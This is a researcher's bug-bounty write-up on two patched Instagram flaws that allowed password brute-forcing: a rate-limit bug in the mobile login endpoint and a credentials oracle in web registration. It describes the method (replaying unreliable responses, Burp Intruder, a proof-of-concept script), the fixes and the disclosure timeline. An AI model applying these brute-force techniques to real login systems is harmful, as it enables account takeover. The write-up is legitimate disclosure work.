TL;DR: Instagram contained two distinct vulnerabilities that allowed an attacker to brute-force passwords of user accounts. Combined with user enumeration, a weak password policy, no 2FA nor other mitigating security controls, this could have allowed an attacker to compromise many accounts without any user interaction, including high-profile ones. Facebook fixed both issues and awarded a combined bounty of $5.000.

Introduction

Authentication brute-force vulnerabilities are very serious issues for any web application. Users are known to pick weak passwords and reuse them and many dictionaries with millions of human-chosen passwords are publicly available to attackers to easily mount successful attacks. However, there are some additional arguments that make brute-force particularly effective against Instagram:

• User Enumeration: Instagram usernames are public & enumerable via incremental userIDs.
• Weak Password Policy: At the time of submission, the Instagram password policy only enforced a minimum length of 6 characters, allowing choices such as “123456” and “password”.
• Two-Factor Authentication: 2FA has only been introduced in February 2016, and is still not rolled out globally.
• Account Lockout Policy: No account lockout policy is currently in place, nor any other mitigating security controls.

Therefore, exploitation of these issues could have resulted in the compromise of millions of the 400+ million active Instagram accounts – especially those with predictable passwords. Of course, targeted attacks against high-profile (Celebrity) accounts could have been very effective as well (cf. Apple’s Celebgate).

Issue #1: Implementation Bug in Mobile Authentication Brute-force Protection

Out of Scope: In order to identify the Mobile Authentication endpoint communication in an intercepting proxy, SSL Pinning had to be bypassed in the Instagram for Android application. Additionally, in order to modify & attack this endpoint communication, a key had to be phished from the Android application, which is used to generate a HMACSHA256 signature over the POST parameters of every outgoing request. A Burp Plugin was written that transparently hotpatches the signature for outgoing requests generated, such as those generated by the Burp Intruder module – see below. More details can be found in this previous blogpost.

The Instagram for Android application used the endpoint at https://i.instagram.com/api/v1/accounts/login/ to perform authentication. A simple brute-force attack against this mobile authentication endpoint with Burp Intruder revealed that approximately 1000 reliable guesses could be made from one unique IP address, after which the response changed to “username not found”, although the user obviously still existed (Rate limiting):

However, only the next consecutive 1000 guesses resulted in the “username not found” response error message. From the 2000th consecutive guess onward, a reliable response (password correct/incorrect) was followed by an unreliable one (user not found):

This allowed a reliable brute-force attack, since an attacker could reason on the reliable response messages and simply replay the unreliable ones until a reliable answer was received. The only limitation of this attack was that on average, 2 authentication requests had to be made for one reliable password guess attempt. A quick & dirty python script with basic threading support “InstaBrutal.py” was made to prove this. The output of a brute-force attack of 10000 popular passwords against my Instagram test account “bruteforceme” with password “perfectcrime” can be seen here:

Notice that the first 1000 guesses were reliable (“good”) guesses, followed by 1000 unreliable ones (“bad”), which were ignored by the python script. Hereafter, the ratio remained closely around 50%. The numbers are slightly off due to lack of thread locks around the global variables storing them, as the purpose of the quick & dirty script was to simply prove the underlying vulnerability.

Although the script made 10001 password guesses for account “bruteforceme”, an attacker could simply login from any IP address, including the one that was used to mount the brute-force attack. This indicated a lack of additional security controls against account compromise, such as account lockout, IP address location-based fraud detection, …

Issue #2: Credentials Oracle in Web Registration Endpoint

Since a couple of months, Instagram allows registration via its website as opposed to only via its mobile applications. Registering a test account “arneswinnen8168” with password “passwd” issued the following underlying request & response:

However, by simply replaying this exact request, a different response message was now encountered:

After removing all parameters in the request except “username” and “password”, the replay of a request with a correct password value and one of an incorrect password value highlights the credentials oracle:

Finally, a burp intruder brute-force attack of 10001 passwords, with the 10001th entry being the correct password “passwd”, confirmed the trivial brute-force attack:

Logging in with the harvested credentials again worked, no account lockout or other security controls were triggered during the successful brute-force attack:

Facebook’s Mitigations

• Issue #1 was resolved by fixing the rate-limiting bug in the mobile authentication endpoint.
• Issue #2 was resolved by introducing rate-limiting on the web registration endpoint.
• The password policy was slightly hardened, and extremely easy passwords such as “123456” and “password” are now not allowed anymore.

Timeline

• 28/12/2015: Submitted bug report for issue #1 to Facebook Bug Bounty, including PoC python script.
• 08/02/2016: Submitted bug report for issue #2 to Facebook Bug Bounty.
• 11/02/2016: Facebook confirmed that issue #2 is patched.
  
• 13/02/2016: Facebook confirmed that issue #1 was patched earlier as well and granted a combined bounty of $5.000.
• 04/04/2016: Informed Facebook that fix for issue #2 is not effective.
• 10/05/2016: Facebook reconfirmed new fix for issue #2.
• 19/05/2016: New fix deemed working, public disclosure.